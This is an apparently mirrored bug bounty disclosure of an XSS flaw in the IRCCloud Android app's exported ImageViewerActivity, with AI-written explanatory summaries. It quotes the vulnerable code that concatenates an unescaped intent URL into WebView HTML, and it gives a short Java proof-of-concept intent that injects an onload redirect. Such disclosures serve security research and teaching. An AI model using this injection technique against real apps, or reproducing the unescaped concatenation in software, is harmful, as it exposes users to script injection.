[IRCCloud Android] XSS in ImageViewerActivity
An exported Android activity built an HTML page by concatenating an attacker-supplied URL into an img tag without escaping, so a crafted deep link could inject JavaScript into the WebView. An attacker could launch the activity from another app or via an instant app link and run script in the WebView context.
- Fixed in 3 hours
- Paid in 3 hours
- Disclosed after 8 days
Hi, I'd like to report HTML/JS injection in activity com.irccloud.android.activity.ImageViewerActivity which is exported:
<activity android:configChanges="keyboardHidden|orientation|screenSize" android:label="@string/title_activity_imageviewer" android:name="com.irccloud.android.activity.ImageViewerActivity" android:theme="@style/ImageViewerTheme">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="@string/IMAGE_SCHEME"/>
</intent-filter>
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="@string/IMAGE_SCHEME_SECURE"/>
</intent-filter>
</activity>
so can be launched by arbitrary apps installed on the same device. On the newest Androids could be exploited also by Android Instant Apps directly from a web-browser (installation is not required).
File com/irccloud/android/activity/ImageViewerActivity.java
} else if (getIntent() == null || getIntent().getDataString() == null) {
finish();
} else {
ImageList.getInstance().fetchImageInfo(getIntent().getDataString().replace(getResources().getString(R.string.IMAGE_SCHEME), "http"), new OnImageInfoListener() {
public void onImageInfo(ImageURLInfo info) {
if (info == null) {
ImageViewerActivity.this.fail();
} else if (info.mp4 != null) {
ImageViewerActivity.this.loadVideo(info.mp4);
} else {
ImageViewerActivity.this.loadImage(info.thumbnail); // by default
}
}
});
}
Here we see that method ImageList.fetchImageInfo(..) is being loaded with attacker provided data.
Inside ImageList:
public void fetchImageInfo(String URL, OnImageInfoListener listener) {
// ...
String url = URL;
// ...
ImageURLInfo info = new ImageURLInfo();
info.thumbnail = url;
info.original_url = URL;
putImageInfo(info);
listener.onImageInfo(info);
So both info.thumbnail and info.original_url contains attacker provided data and this stuff is returned back to ImageViewerActivity where code is executed
ImageViewerActivity.this.loadImage(info.thumbnail);
Inside this method attacker can inject arbitrary HTML/JS:
private void loadImage(String urlStr) {
try {
// ...
this.mImage.loadDataWithBaseURL(null, "<!DOCTYPE html>\n<html><head><style>html, body, table { height: 100%; width: 100%; background-color: #000;}</style></head>\n<body>\n<table><tr><td><img src='" + new URL(urlStr).toString() + "' width='100%' onerror='Android.imageFailed()' onclick='Android.imageClicked()' style='background-color: #fff;'/>\n</td></tr></table></body>\n</html>", "text/html", "UTF-8", null);
PoC of exploitation on Java:
Intent intent = new Intent();
intent.setClassName("com.irccloud.android", "com.irccloud.android.activity.ImageViewerActivity");
intent.setData(Uri.parse("https://shoppersocial.me/wp-content/uploads/2016/06/wow.jpg' onload='window.location.href=\"http://yahoo.com\""));
startActivity(intent);
Result:


APK is attached
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the URL from the intent was inserted into an HTML string without encoding, so quote characters in the URL broke out of the img src attribute.
Impact
An attacker could run script in the app's WebView, and on newer Android versions this could be triggered from a web browser via Instant Apps without installing anything.
What the attacker needed
Attacker app on same device; or Instant App link in browser; victim opens crafted link
How it was found
- Build an intent targeting the exported ImageViewerActivity.
- Set the intent data to a URL containing injected HTML attributes.
- Start the activity so the WebView loads the crafted HTML.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
An Android app can expose an 'activity' that other apps or links can open. This one took a web address from whoever opened it and pasted it straight into a web page it displayed, so a crafted address could add its own script. That script then ran inside the app's built-in browser view.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.